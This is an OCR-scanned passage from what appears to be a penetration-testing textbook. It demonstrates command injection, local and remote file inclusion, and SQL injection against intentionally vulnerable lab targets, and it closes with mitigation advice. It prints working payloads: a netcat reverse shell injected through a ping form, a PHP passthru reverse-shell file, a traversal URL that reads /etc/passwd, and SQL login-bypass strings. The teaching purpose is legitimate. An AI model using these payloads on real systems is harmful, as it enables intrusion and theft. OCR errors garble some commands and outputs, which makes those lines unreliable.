64 bytes from 10.0.2.15: icmp_seq=2 ttl=64 time=0.627 ms
64 bytes from 18.8.2.15: icmp_seq=3 ttl=64 time=0.325 ms

- 18.8.2.15 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 8.235/0.395/0.627/08.169 ms

More info

We can view the execution of the ping command in Linux systems. Now let's see if we can
exploit, if it's actually executing the ping command.

How would we exploit it if it's accepting what we're inputting, and then it will ping the
command?

In Linux and Unix-based commands, we can use the semicolon (; ) sign to execute multiple
commands on one line, for example, 10.20.14.203;.

If we try writing this command on the Terminal. Let's start by writing the list command, 1s,
and then pwd, which is the working directory. So if we write 1s; followed by pwd, it will
execute both commands. It will also display the working directory.
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-07-16-eth.pcap

1).mtgl®

This time, we will be adding pwd next to the IP address. Here's it how it should look:

10.0.2.15; pwd
ping 10.0.2.15

Let's now see what will the execution look like. Go back to the DVWA server and write
10.0.2.15; pwd on the address bar and then click submit. This screenshot shows us the
current location of our working directory (var/www/dvwa/vulnerabilities/exec):

Ping for FREE

Enter an IP address below:

i submit

PING 18.8.2.15 (10.8.2.15) 56(84) bytes of data.

64 bytes from 10.0.2.15: icmp_seq=1 ttl=64 time=0.275 ms
64 bytes from 10.0.2.15: icmp_seq=2 ttl=64 time=08.561 ms
64 bytes from 10.08.2.15: icmp_seq=3 ttl=64 time=0.407 ms

--- 18.8.2.15 ping statistics ---
3 packets transmitted, 3 received, 8% packet loss, time 1998ms
rtt min/avg/max/mdev = 0.275/0.414/08.561/0.118 ms

Svar/www/dvwa/vulnerabilities/exec

It clearly notes the pwd that was inserted is executed, which means that we can insert any
commands and it will surely be executed.

Download the code-execution-reverse-shell-commands.txt resources file with
commands from the book's GitHub repository to get a reverse connection from the target
computer. There are a number of commands that will give us a reverse connection. All of

the commands depend on the programming language. We have commands in PHP, Ruby,
PERL, and BASH.
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BASH is the Linux shell command language, so all Unix OS will be able to execute BASH
commands. The bash command should work on most Unix-based systems. Again, most
users would use Python and Netcat. We will be using Netcat in this chapter.

Before getting started, we're going to listen for connections the way we did previously with
Metasploit for multi-handling. We can use a multi-handler to listen to the connections.
Netcat is just a tool that allows us to listen to and connect computers together. Use the
following command:

nc -vv -1 -p 8080

The 8080 is the port, nc is the program, and vv is used for viewing verbose output. We can
check the output and see whether anything goes wrong. The -1 -p command on 8080 is
used for listening. Hit Enter, and we will able to see the following message:

:~# nc -vv -1 -p 8080

listening on [any] 8080 ...

The next command is going to help us connect the web server back to our computer using
Netcat. So, let's assume that the web server has Netcat, and we check how it works.

Refer to the Netcat command from the code-execution-reverse-shell-
commands . txt file, which had all the commands written in it. Here is the command:

nc -e /bin/sh 10.0.2.15 8080

As shown, we will use /bin/sh, the current IP of the device, the attacker device, followed
by the port. In our case, it willbe 10.0.2.14 8080.

Copy the command and paste it into the address bar of DVWA server so that the pwd
command is executed. Previously, the command that was used was 10.0.2.15; pwd. But
now let's try removing the pwd and then paste the code. Here is the command:

10.0.2.15; nc -e /bin/sh 10.0.2.15 8080
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This first IP connects the web server back to the Kali machine and then to the attacker

machine:

Ping for FREE

Enter an IP address below:
10.0.2.15; nc -e /bin/sh 10.0.2.15 8080 | submit

PING 10.8.2.15 (18.8.2.15) 56(84) bytes of data.

64 bytes from 18.8.2.15: icmp_seq=1 ttl=64 time=0.275 ms
64 bytes from 10.0.2.15: icmp_seq=2 ttl=64 time=0.561 ms
64 bytes from 18.0.2.15: icmp_seq=3 ttl=64 time=0.487 ms

- 10.8.2.15 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 1998ms
rtt min/avg/max/mdev = 08.275/0.414/0.561/0.118 ms
fvar/www/dvwa/vulnerabilities/exec

Go back to the Terminal, and we will be to see a connection call to 10.0.2. 4 from
10.0.2.15, and we will again be adding pwd, 1s, and id. As shown in the screenshot,
when we insert the id command, we will get www— data and we can then add uname just
to confirm whether it's Metasploitable. Here's a screenshot depicting this information:

:~# nc -vv -1
ing on [any]
10.0.2.4: inve ho 2 : Unknown host
connect to [10.0.2.15] [10.0.2.4] 35524

source
id
uid=33(www-data) 33(www-data) groups=33(www-data)

We can run any commands on the target computer and have access to the target computer.

Local file inclusion vulnerabilities

Local file exploits or vulnerabilities allow us to read any file that is within the same server
as the vulnerability; even if the file exists outside the /var/www directory, we'll be able to
read the information within it.
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A vulnerability is critical because we can read any files, such as important files or password
files. Also, if there are a number of websites on the same server and we managed to find a
website that we're not targeting, then we might be able to access files related to the website
that we're targeting and then further exploit the website from there.

We are going to exploit the vulnerability through the URL. So, usually in our code
execution examples, we write the code in the textbox. Sometimes, we might find the code
vulnerability in the URL, which will have keywords such as cmd.

The same old process continues. Click on the File Inclusion tab on the DWVA server and
the URL we get is
http://10.0.2.4/dvwa/vulnerabilities/fi/?page=include.php.

We can see that the file already has a page. The include.php command will again load
another page. As in the previous example, we will again see the URL with the IP address
and the same ping command, as explained in the previous section. Here, in our example,
the objective is to open a file using include.php. After removing the page term from the
URL, the URL now will be visible as
http://10.0.2.4/dvwa/vulnerabilities/fi/include.php. There is a fatal error
generated, as shown in the following screenshot:

€ | (| 10.0.2.4/dvwalvulnerabilities/fi/include.php ~ | @ [|Q Search b d

Fi Most Visitedw  [JllOffensive Security “ Kall Linux “& Kall Docs “ Kall Tools = Explolt-DB g Alrcrack-ng Y, Kall Forums e, NetHunter “& Kall Training & d

Fatal error: Call to undefined function dvwaExternalLinkUrlGet() in /var/www/dvwa/vulnerabilities/fi/include.php on line 15

We can see a file named include.php on the page, which is in the same working directory.
Let's try and see whether we can read a file called /etc/passwd that is stored in the
computer. It's the file containing all the user passwords present on the current web server
and all the users using the current OS. Let's go to the Terminal and run some commands.
For example, running cat /etc/passwd on Kali returns the following output:
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sbin/nologin

:/var/lib/gnats: /usr/sbin/nologin
yin/nologin

We will see all the users that we have been on the current computer and their default paths
on the current OS. We will now try to read the passwd file. To do this, go back to the
current location in the fi directory, which was mentioned before. Referring to the previous
screenshot, when in /var/www/dvwa/vulnerabilities/fi/include.php, we are in the
fi directory; we need to go back five places back to get to /etc/passwd.

As explained, we will need to go five places back by adding double dots. So, the URL
changes to

http://10.0.2.4/dvwa/vulnerabilities/fi/?page=../../../../../../etc/pas
swd. The output will be seen once we hit Enter is as follows:

4 | @/ 10.0.2.4/dvwalvulnerabilities/f | ‘etc/passwd earch 0D +$ A9 = é
1 Most Visitedw [l Offensive Security S Kali Linux ", Kali Docs S Kali Tools = Exploit-DB Wy Aircrack-ng S Kali Forums S MetHunter " Kali Training @ Getting Started

rootx:00rootrootbinbash daemon:x:1:1: :aemon Jusrisbincbindsh binx:2:2:binJbindbindsh sysxc33sysidevibinsh S)‘l‘( w4 65534 5\‘||C b l| bl" ‘syn gan e 5N 5 63 games AUsSHigames bin/sh manct:1 2 mancvaricache/man in/sh ip:x7:7 Ipovar
Ispoalipd:binish mailc8:2:mallvarmail. : : ucp: 333 wewr-SatENATCDINVSh backup:x:4:34:back aTups:
libuuids ) ¥ [

ay.
00:1000:metadmin,, Mameimstadmini

E : nash

. 1 spoaUpOSIX DinTks I 10 A Moy i pas T e Minbash mysgix 10911 8MySOL S, Aaniiysgr
\lu\\ll e BIMCE |I55x'|nfﬁ$14 hare \|1|||| 5.5 hinTakse disteed x:111 85534 hintalse usenx: 1001 110[].|.I.|.|.|||!| homihses in -1')1?|m? |<|| ||‘||\.||| dhinvhash telneid x:112:120: nonexistent tintalse
profipd 11365534, Marruniprofipd bintalse statd x 11465534 hanlibinfs bintalse
'Warning: Cannot modify header information - headers already sent by (output staned a1 12)In Inc.php on line 324
(Warning: Cannot modify header infoermanion - headers already sent by (output staned at 1Z) In Inc.php on line 325
(Warning Cannot modify header information - headers alieady sent by {oupul started o felcpassed 12) in harhwidvwsidvasaling ludesidvewaPage.inc | on line 328

Instructions
Setup

Brute Force
Command Execution
CERF

SQL Injection
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We will be able to see the /etc/passwd files. To understand and read the data, copy the
data on a notepad. By doing so, we will get more information about the targeted websites.
We can also access different, sensitive files, or files of other websites on the same server.
The next section will help us understand remote file inclusion using Metasploitable.

Remote file inclusion using Metasploitable

Remote file inclusion is a special way of exploiting file inclusion vulnerabilities. In the
previous section, we learned how to include a file in the server and the ways to access it
through local file inclusion vulnerabilities.

In this section, we will learn how to configure a server so that it allows the allow_url and
allow_url_fopen functions. This will allow the inclusion of a file from a computer to the
target website. We will learn how to inject a PHP file into the target computer, which will
help us to run payloads and reverse shells and system commands, allowing access to the
target or full control of the target server.

Let's get started by exploiting the file inclusion vulnerability that was discussed in the
previous section. We will be using the same page parameter here. The only thing that is
different here is the transition from local file inclusion to remote file inclusion. This will
ensure that the local file inclusion will allow the accessing of local files, and remote file
inclusion will allow the accessing and injection of remote files.

Let's test the vulnerability using the Metasploitable framework. In the framework, we will
be using PHP settings, which are stored in the file. To access them, we will use nano, which
is a text editor. We need to type the location of the configuration file, which is at
/etc/php5/cgi/php.ini, into the nano editor. /etc/php5/cgi is the actual location
where our PHP configuration file is located. We need to add sudo as the root. In Kali, we
do not need to add sudo, because we log in as root, but in Metaspolitable, we need to add
sudo to carry out root actions. After adding sudo to the present command, run the
following command:

sudo nano /etc/php5/cgi/php.ini

If we want to search for the allow_url_fopen function, press Ctrl + W and type
allow_url and hit Enter. We will be able to see that allow_url_fopen and
allow_url_include are On:
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GNU nano 2.0.7 File: setc/phpS-/cgisphp.ini Modified

allow_url_fopen = On

; Whether to allow includesrequire to open URLs (like http:rss or ftp:irrs) as fil§
allow_url_include = On

; Define the anonymous ftp password (your email address)
:from=" john@doe.con"

; Define the User-figent string
; user_agent="PHP"

; Default timeout for socket based streams (seconds)
default_socket_timeout = 60

If your scripts have to deal with files from Macintosh systems,
; or you are running on a Mac and need to deal with files from
; unix or windZ systems, setting this flag will cause PHP to
; automatically detect the EOL character in those files so that
; fgets() and file() will work regardless of the source of the file.
; auto_detect_line_endings = Off

[] Get Help @] WriteOut §J Read File § Prev Page @ Cut Text @ Cur Pos
i il Justify ’] Where I= Il Next Page I UnCut Textggy To Spell

If we enable these two functions, then the local file inclusion vulnerability can be used for
remote file inclusion. To exit the current operation, use Ctrl + X; to save, use Ctrl + Y and
Enter. After saving the file restart the web server, by entering sudo
/etc/init.d/apache2 restart.

We learned about the local file inclusion vulnerabilities work. We used the five-spaces-back
method to access the passwd file. In remote file inclusion, we're going to access a file that is
located on a different server.

Now we will be using a pen test on an actual web server in order to get access to the file
that is stored. The file should either have an IP address or a domain name. We need to run
this on a local server and store the file on the web server of the Kali machine using
10.0.2.15, in our case. The file could be a web shell or payload. Now create a simple PHP
file. We will be using the passthru () function, which will execute OS commands for
Windows and Linux. Which commands are going to be executed completely depends on
the web server that they will be executed on. Create a file called reverse.txt with
following code:

<?php
passthru("nc —-e /bin/sh 10.0.2.15 8080");
7>
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We will be using the nc command that was used for code execution vulnerability, which
allowed us to get a connection or a reverse connection from our target.

The code starts and ends with <?php and ?> tags. The commands will be placed between
the quotation marks. Since we are using the same nc command, it will reverse the
connection of the computer. The next step is to store this file in a we server. If the target is a
remote web server, then we should store the file with IP so that we access the file from the
remote web server. We will access the file using a Metasploitable machine, which will
access stored files on the Kali machine. This is possible since the files and the machines are
on the same network. The current file starts with /var/www/html, so the file will be stored
on Kali and not on Metasploitable. In order to reverse it, we will be saving the file as . txt
and not . php. If we store the file as PHP, it is going to be executed on the Kali machine. As
we know, we already have access to the Kali machine, and we need to get access to the file
on Metasploitable. To do this, we will save the file as reverse.txt on the localhost,
which is in, /var/www/html directory. The file is still stored on 1ocalhost and not
Metasploitable, soit'sat 10.0.2.15. To check the whether reverse. txt fileis on
localhost, type localhost/reverse.txt in the address bar and press Enter. The file
will be displayed in the browser:

§ http://10.0...mutillidae/ % | http://localhost/reverse.txt x |

@ | localhost/reverse.txt
[ Most Visitedv JllOffensive Security S Kali Linux "% Kali Docs
<?php

passthru("nc -e fbin/sh 10.0.2.15 8080");
=

Before starting the remote inclusion, listen for the connections on Kali in the same way as
in the Code execution vulnerabilities section. Type the following nc command to listen for the
connections:

nc -vv -1 -p 8080

Now we should be listening for the connections, as shown in the following screenshot:

:~# nc -vv -1 -p 8080

listening on [any] 8680 ...
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Now, instead of including the file on the same server, we will include the remote file in the
URL. The URL changes
tohttp://10.0.2.4/dvwa/vulnerabilities/fi/?page=http://10.0.2.15/revers
e.txt as shown in the following screenshot:

% 10.0.2.4/dvwalvulnerabilities/fif? page=http://10.0.2. 15/reverse.tet X Search e

[ Most Visited~ lOffensive Security S Kall Linux " Kall Docs " Kall Tools = Exploit-DB Wy Alrcrack-ng " Kall Forums s NetHunter " Kall Tralning @ Getting Start

T Vulnerability: File Inclusion
IRETNCIDE Too inclute a file et the 2pagesindex php in the URL to detenming which file is included,
Setup
More info
Brute Force

Command Execution
CSRF

SQL Injection

SQL Injection (Blind)
upload

XSS reflected

NS5 stored

If we now check the file, it will be executed on 10.0.2.15, which is now going to give us a
remote connection to a Metasploitable computer. Go back to the Terminal, and if we type
uname - a, we will now get full access to the Metasploitable machine, as shown in the
following screenshot:

1~ / -1 -p 8880
istening on [any [

4: inverse host lookup failed: Unknown hos

to [10.0.2.15] from (UNKNOWN) [1@ . 4] 451

sploitable 2.6.24-16 fer #1 SMP 1Thu Apr 10 13:58:00 UIC 2008 1686 G

NU/Linux

We can also execute commands such as 1s and pwd on the Metasploitable machine.
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Basic mitigation

This section talks about the prevention of vulnerabilities. A lot of vulnerabilities exist
because of the functionalities that they provide.

For example, in the first section, File upload vulnerabilities, we talked about allowing the
upload of any file extension. The ideal case is to check the file type, if a user is uploading a
file; it should be an MP3 or a media file, not a PHP file or some executable code. We should
never allow users to upload executables. Filters can be used to check the extension. The best
way to do this is to check the file instead of just checking the extension, because files can
bypass the extension check. Check the picture or the media instead of relying on the
extension.

In the second section, Code execution vulnerabilities, we explored how we can run any code
on a target computer. We should avoid allowing users to run code on the server. Also,
avoid functions such as eval and passthru, which allow users to run OS code on the
server. If we have to use these functions, analyze the input before execution.

Take a look at this, for example:

10.0.2.15; 1s-la

Suppose we type an IP, 10.0.2.15, and then add a semicolon, and a command, 1s-1a.
The only problem is the web application accepts the information the way it is copied and
run. When we execute the command, we will see the IP address first and then the 1s-1a
command. In such cases, check the input that was entered. If we are expecting an IP
address, we can use a regex. A regex is a rule that will ensure that the input conforms with
the format 10.0.2.15. If we enter any other input, the web application would reject it. We
should also ensure that there are no semicolons or spaces, and that everything comes as one
thing and gets executed. These are many secure ways of execution, but the best thing to do
is avoid eval and passthru functions.

The third section was on file inclusion, which was further divided into local and remote file
inclusion. Local file inclusion allowed us to include any file on the target system, and to
read files that had been disclosed by a vulnerability. Remote file inclusion was also looked
at, which allows us to include any file from a web server that has PHP shells and gain a
connection to the target computer.
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We need to prevent remote file inclusion so that people cannot include files outside our
server. We can enable this method using the php. ini file by disabling

the allow_url_fopen and allow_url_include functions. To disable the functions,
follow the steps used in the Remote file inclusion using Metasploitable section.

Ensure that the settings for allow_url_fopen and allow_url_include are set to Off:

: Maximum allowed size for uploaded files.
upload_max_filesize = 2ZM

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = Off

; Whether to allow includesrequire to open URLs (like http:// or ftp:rr) as fil§
allow_url_include = Off

; Define the anonymous ftp password (your email address)
:from="john@doe.con"”

; Define the User-Agent string
; user_agent="PHP"

i Get Help @O UriteOut @ Read File @] Prev Page @ Cut Text @ Cur Pos
Exit il Justify Where Is Next Page UnCut Textpy To Spell

The other way to prevent these exploits is to use static file inclusion. So instead of using
dynamic file inclusion, which we've seen, we can hardcode the files that we want to include
in the code and not have to get them using GET or POST.

For example, in the vulnerability cases, we used the page parameter with

the index.php page. Now, the index.php page uses the include parameter or otherwise
takes another page called news . php, which will be included in the $_GET () ; parameter in
the code. The following screenshot explains the vulnerability:

URL:
index.php?page=news.php

CODE:
include($ GET('page')
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The fundamental thing is to include files that come after the page parameter. The code
will dynamically take the files that come after the page parameter in the URL and include
everything from URL to the current page. In some cases, we tend to use the POST method,
which will not get the same executions; however, in such cases, it's best to use a proxy, such
as Burp Proxy. It will help us to make modifications and include the files that we want to
display. By using this approach, we won't be able to manipulate anything inside the page
that is included. To avoid hard code and prevent using a variable, simply provide the page
that needs to be included. This will make the code look longer but the page will be much
more secure.

The following screenshot shows us an easier way of hardcoding;:

URL:
index.php?

CODE:
include($ _POST('news.php")

Summary

In this chapter, we learned about basic file uploads using file vulnerabilities. We also
looked at how to execute OS code under code vulnerabilities. Furthermore, we learned
about local and remote file inclusion using Metasploitable. Finally, we learned about the
problem-solving takeaways that should be considered when working with these
vulnerabilities. The next chapter will dive deep into SQL injection vulnerabilities.

[ 468 ]



SQL Injection Vulnerabilities

In this chapter, we are going to study SQL Injection (SQLi) vulnerabilities. To gain insight
into these vulnerabilities, we will first learn about SQL, look at the reasons why we are
studying SQL, and how

dangerous SQLi is exactly. Moving ahead, we will learn some techniques to discover SQL
injections. Then, we will learn how we can bypass SQLi authorization and how to discover
SQLi using the GET method. We will also see how we can work around SQL commands
and discover tables using commands. In the 1oadfile section, we will see how we can
implement SQLi on server files. Then, we are going to learn how we can use a tool

called sqlmap. Finally, will look at techniques we can use to prevent dangerous SQL
injections.

In this chapter, we'll cover the following topics:

e What is SQL?

e The dangers of SQLi

e Discovering SQLi

¢ SQLi authorization bypass

¢ Discovering SQL using the GET method
¢ Basic SELECT statements

¢ Discovering tables

¢ Reading columns and their data

¢ Reading and writing files on the server
e The sqlmap tool

e Preventing SQLi
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What is SQL?

We are going to be learning about a popular type of vulnerability called SQLi. Before we
discuss how it occurs and how to exploit it, let's first learn what SQL is. For example, if we
are performing a pen test on a certain website, the chances are the website is a little bit
bigger than other websites and so probably uses a database. Most websites, other than very
simple ones use databases to store data, such as usernames, passwords, news articles, blog
posts, pictures, and anything that happens on the website. The web application reads the
database and then displays the data to us or to the users. When the user performs an action
on the website, the application will either update, delete, or modify the data that exists in
the database. This interaction between the web application and the database happens using
a language called SQL.

Let's see what we mean by a database. This is just an example of a database; we are just
going to log in to the database that is installed on our Metasploitable machine to see what's
being stored on it. We will not perform any hacking or anything fancy; we will just log in to
MySQL and then we will input the username as root—Metasploitable doesn't use a
password for root, which is really bad, but obviously it's a vulnerable system. We are just
going to log in; we are not hacking anything or doing any SQL injections, we are just
working on the Terminal for MySQL, which the web application would use to interact with
the database. The following is the command:

mysql -u root -h 10.20.14.204

The following is the output of the command:

statement.
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In this example, we are just trying to see what we mean by databases and what's saved in
them. Now, type in show databases and that will show us the databases that exist on our
target server. In the following screenshot, we can see that we have the
information_schema database, which is a default database that holds default information
about all the other databases:

It gets installed by default when we install MySQL, and the rest have been installed for
each web application. We can see we have one for tikiwiki and one for owasp10. We also
have one called mysqgl, another called metasploit, and one for dvwa, which is the one that
we've been using for the web application. We can see that, for each web application, we
have a database, which holds the information that is used by that web application.

Let's see what's inside the database. We are going to use the owasp10 database. We will
type the Use owasp10 command in the Terminal to read the information from this
table. Each database has a table, which contains information, so we launch the show
tables command to see the tables that we have:
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We have a table for accounts, so we can assume that this table has information about the
usernames, passwords, and users. We have a table called blogs_table, so it probably has
the blog input, such as the posts and comments in there. We can see

captured_data and credit_cards, so there's a table that contains credit card details.
This is huge for shopping websites, they actually would have a credit_cards table and
the information for the credit cards would be stored there. Basically, a database will store
everything, all the data that is used on the website, because they doesn't get stored on files;
it's not efficient.

Let's have a look at the accounts table; if we just type select, that is exactly how the web
application will retrieve information from the database. The application can either select,
update, or delete; we are doing a select statement for our example. Again, this is not
hacking—we are just going to select everything from the accounts table, with the
command select * from accounts:

f confunk

We have columns for the account ID, the username, the password, the signature for the
user, and whether that user is an administrator. Now, the columns depend on the table, so
the person who designs the database designs the table and the columns, and then the data
gets inserted by the web application. We can see in the preceding screenshot that we have a
user called admin and their password is adminpass. We can also see that we have a user
called adrian and their password is somepassword.
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This example is just to understand what databases look like and to get a feel for them; in
later sections, we're going to try to exploit these databases and get access similar to this. So,
here, we just logged in with a username and a password. Now, usually we wouldn't have
access, and only the web admin would. In the upcoming sections, we're going to try to run
some attacks in order to gain access, so that we'll have full control over the database in
order to read and write (or modify) data.

The dangers of SQLI

In this section of the chapter, we will focus on why SQL injections are so important and so
dangerous. The reason is because they are found everywhere; a lot of big websites have
these kind of exploits, such as Yahoo and Google. They're very hard to protect against and
it's very easy to make a mistake and make these exploits available for misuse. The other
reason that they're very dangerous is because they give the hacker access to the database. In
many scenarios, if we find an SQLi, we don't need to upload a PHP shell or get a reverse
connection. There is really no need to upload anything and increase the danger of being
caught because, if we have access to the database, we pretty much have everything we
need. We have usernames and passwords, and we can log in with a normal username and
password as a normal user; if we are looking for sensitive data, we have access to credit
cards. We can do pretty much anything we want, so there's really no point in trying to
further exploit the system.

If we find an SQLi, that's great! That's all we need. In many scenarios, we use a PHP shell to
gain access to the database and see whether we can read it. Say we managed to upload a
PHP shell on the Metasploitable server, but then we couldn't access the database; there isn't
much we can see. We can't see credit cards, usernames, and passwords; we do have control
over the server, but we can't read information, so sometimes when we upload a PHP shell,
the next step is to gain access to the database. SQL injections can be used to do many things,
so if we manage to find one in a website that is not our target but is in the same server, then
we can use it to read files outside the /www/root directory. Similar to file-inclusion
vulnerabilities, we can use the admin account, and its username and password, to see
whether we can upload some information. Usually the admin can upload a lot of things, so
we can upload a PHP shell or a backdoor from there, and navigate to the target website or,
in some cases, we can use an SQLi to upload a PHP shell. So, SQL injections can be used as
file-inclusion vulnerabilities and file-upload vulnerabilities and they can also give us access
to the whole database. That's why they are very dangerous and useful if we manage to find
one.
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Discovering SQLI

Now, let's try to discover some SQL injections. We need to browse through our target and
try to break each page. Whenever we see a textbox or a parameter on the form, such

as page . php, then something is equal to something; try to inject stuff there, try to use a
single quote, try to use an and, or the orderby statement to break the page and make it
look different. For example, we will be using the Mutillidae vulnerable website from
Metasploit. We are going to go into the Login/Register page first, as we can see in the
following screenshot, and it will ask us to log in. Now, the site is registered with your name
so you can just click on Please register here and register:

* Mutillidae: Born to be Hacked

Vergion: 2.1.19 Security Level: 0 (Hosed) Hints: Digabled (0 - | try harder) Net Logged In

Mome  LoginMegister  Togule Minls  Togule Secarilty  ResetDB Viewlog  View Caplured Data

| Login

Please sign-in

Name

Password

After registering, go to the login page. At the moment, we are using the example of
injecting into textboxes, so we can try to inject into the Name and into the Password
textboxes. For example, suppose we put the Name as zaid and then a single quote mark (')
into Password, and click Login. As you can see in the following screenshot, there is an error
being displayed to us and it doesn't look like a normal error. It looks like it's a database
error, and usually you'd be very lucky to you get an error such as this:

Error: Failure is always an aption and this situation proves it

Line 49

Code ]

Flla : login-attempt php :
Message Error enecuting query: You have an error in your SOL syntax. check the manual that correspoands to your MySQL server version for the right syntax to use near = at line 1

Trace 20 phpi96); included) #1 {main}

Diagnotic Information 'SELECT * FROM accounts WHERE usernama="zaid" AND password=""
_Did you satupiresat the DB?

Warning: Cannct modify header information - headers already sent by (output started at | il logil pE.php97 ) in fvarf index.php on line 148
Warning: Cannot modily header information - headers already sent by (output started at | Tegin-att Lphp @71 in fvarf hp en ine 254
Warning: Cannot modify header information - headers already sent by {cutput started at illi login-attempt.php:87) in fvar php on line 255
Warning: Cannat madify header information - headers already sant by |  started at fvar/www/mutillidss/process- login-attempt php:97) in /var/www/mutlllidae/index.php on line 256

®%¢ Mutillidae: Born to be Hacked

Vaersion: 2.1.19 Security Laval: 0 {Hosed) Hints: Disabled (0 - | try hardaer) Mot Logged In
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Usually the error won't be as informative as this; sometimes we will just see that the page is
not acting as expected or sometimes it'll just be a page that does not look as it should. For
example, if it's a news page, maybe the article will be missing or, if it's a blog, one of the
posts will be missing, or different kinds of posts, so we need to keep an eye on what's
changing. In this example, we are actually getting a really nice error; it's telling us which
file it has, that there's an error in the statement—the error is near the quote mark that we
added—and the statement that's been executed. This is really good for learning because
now we can see the statement that the system is trying to run, and the system is trying to
do SELECT *, soit's trying to select everything: FROM accounts WHERE
username='zaid' AND the password="'"". Note that the system, the web application,
is already adding quote marks around the name. When we said zaid, it added zaid
between two quotes and it added the single quote (') that we added between another two
quotes, so that's why we have three quotes. From this error, we can assume that 70% of the
target website has an SQL injection.

We are still not sure whether it can execute what we want, so can we actually inject code
and get it executed? Let's see if this can be done; username is going to be zaid again, and
we are going to put password as 123456. Once this is done, just close down the site. We
closed down the site because the current statement in the system is Select * from
accounts where username = 'zaid' and password ='$PASSWORD', and it's going
to open a single quote by itself, followed by the $PASSWORD, which we will provide. So,
we're treating password as a variable; it takes in whatever we put in the Password textbox,
and it replaces $SPASSWORD, which is a variable. It takes whatever we put in the Password
textbox and puts it between two single quotes, and that will be executed on the system. So,
we will put 123456"'. We are going to add a quote ourselves, and the code is as follows:

select * from accounts where username = 'zaid' and password ='123456""

The application is going to select from accounts, passwordis equal to 123456, and we
have two quotes at the end. Then, we are going to put and 1=1. We are just trying to see
whether it's going to execute what we want it to. Our statement is going to be as follows:

Select * from accounts where username = 'zaid' and password='123456' and
1=1"
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We are going to insert 123456' and 1=1 ourselves. The system is going to complain that
we have an extra quote because we have inserted the password into the textbox our self; it's
going to say that there is an open quote and it never got closed. Now, we are going to add a
comment and after we do so, everything that comes in after the comment will not be
executed. We are going to use the hash (#) as the comment, so the system will ignore
anything that comes in after the hash; it's going to ignore the last quote that will be inserted
by the command. So, our code is going to look as follows:

Select * from accounts where username='zaid' and password ='123456' and
1=1#"

We need to paste the 123456 and 1=14# password in the Password textbox and we should
be able to log in as zaid, as shown in the following screenshot:

@}@ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Logged In User: zaid (aa)

Home Logout Toggle Hints Toggle Security Reset DB View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts OFf OWASP Top 10

Latest Version [ Installation

« Latest Version

« Installation Instructions

s Usage Instructions

« Getrid of those pesky PHP errors
s Change Log

* Notes

Samurai WTF and Back k ins all the tools needed or you may build your own collection

=

G,
backitrack
- 3
My SOl

Let's try something different: let's try to add a false statement. We did 1=1 and that was
correct and it executed what we wanted. Let's try 1=2, which is incorrect, so we have the
right password and we have the right username, and we will add 1=2# — this should be
problematic because it's false, 1 is not equal to 2, and we are using and, so everything has
to be true. It should give us an error even though we are going to put in the right username
and the right password. So, we enter the Password as 123456 and 1=2#, and it should
give us an error:
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Authentication Error: Bad user name or password

Please sign-in

Name |

Password

Login

Dont have an account? Please register here

The site has given us an Authentication Error: Bad user name or password error, even
though we are using the right password and username. This confirms that the website is
actually injecting anything we want in the password, so we can use the password field to
inject SQL code.

SQLi authorization bypass

Now we know that we can put in any code we want and it's going to be executed on the
system. So, let's have another look at the statement, which says select * from accounts
where username = username, and password = password, which we put in the
Password textbox. We will now see whether we can use that to log in without using a
password, and we are going to be doing that with the admin. So, username is going to be
admin, and we don't know what password is for admin, so we are going to enter any
random password, for example, aaa. In the code that we were previously running, we

put and 1=1, now instead of and, we are going to say or 1=1.So, once we inject the
command, it is going to let us log in without even knowing the password of admin. Our
code is going to look as follows:

select * from accounts where username = 'admin' and password='aaa' or 1=1'

When we log in using the admin Username and paste aaa' or 1=1 in the Password
textbox, we can see that we logged in successfully and the signature for admin is Monkey!:

Q}@ Mutillidae: Born to be Hacked

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Logged In Admin: admin (Monkey!)

Home Logout Toggle Hints Toggle Security Reset DB View Log View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10
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So, any time we have an or condition, if the or condition is true, everything is true—that's
the way the or statement works.

Bypassing logins can be done in many ways, depending on the code that's written on the
page and how we are imagining the code. In a lot of cases, when we put in the single quote,
we won't see the error message.

So, we are going to show another example of bypassing. Instead of injecting the code, the
admin parameter is injectable as well, as we saw when we put in the single quote, in exactly
the same way as the password parameter, so we can inject code in username as well.

Try to inject something in username; we are going to say username is equal to admin, then
we are going to close the quote and add a comment. So, when we run the select * from
accounts where username = 'admin'#' and password='aaa' statement, it's going
to inject that in username.

It's going to let me log in without even entering anything in the password field. So, we are
going to put Username as admin'#, and then we can put in any Password we want to use.
We are just going to put 1 and then log in; we can see we managed to log in as admin:

Q}ﬁ Mutillidae: Born to be Hacked

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Lagged In Admin: admin (Monkey!)

Home  Logout Toggle Hints ~ Toggle Security  Reset DB ViewLog  View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10

Latest Version / Installation

= Latest Version

« Installation Instructions

+ Usage Instructions

» Get rid of those pesky PHP errors
+ Change Log

= Notes

Samural WTF and Backtrack contains all the tools needed or you may build your own collection

=

o

backitrack
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Again, this is black-box testing, so we don't really see the code. In many cases, we want to
play around with it and see how it works, but the main thing we want to test is whether the
SQLi exists and we do that using the method from the previous section. So, try single
quotes, try the and statement, try a true and statement, such as 1=1, and then a false and
statement, such as 1=0 or 2=0, and, if they work as expected, your target has an SQLi and

you can start playing around with it.

Discovering an SQLi using the GET method

Now we will study an SQLi in a different file, on a different page, and see a few different
things that we can do to exploit that vulnerability. So, first, go to the login page, which is in
OWASP Top 10 | Al-Injection | SQL-Extract Data | User Info:

Controls

OWASPF Top 10

Others
Documentation

Resources

tested with Sam ",'!
WTF, Backtrac
Firefox, Burp-Su|
Netcat, and the

Mozilla Add-ons
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In the previous section, we went to the login page by clicking on the Login/Register option
on the page; this time we're going to go through the User Info page, so the page will show
us information about the user, provided we give the Name and Password. Enter all the
credentials, such as username and password, and the page will show us all the username
and password details and our signature, as shown:

| View your details

<L'73 Back

Please enter username and password
to view account details

Name

Password

View Account Details

Dont have an account? Please register here

Results for . 1 records found.

Username=zaid
Password=123456
Signature=aa

The statement that's been executed here is similar to what was executed when we logged
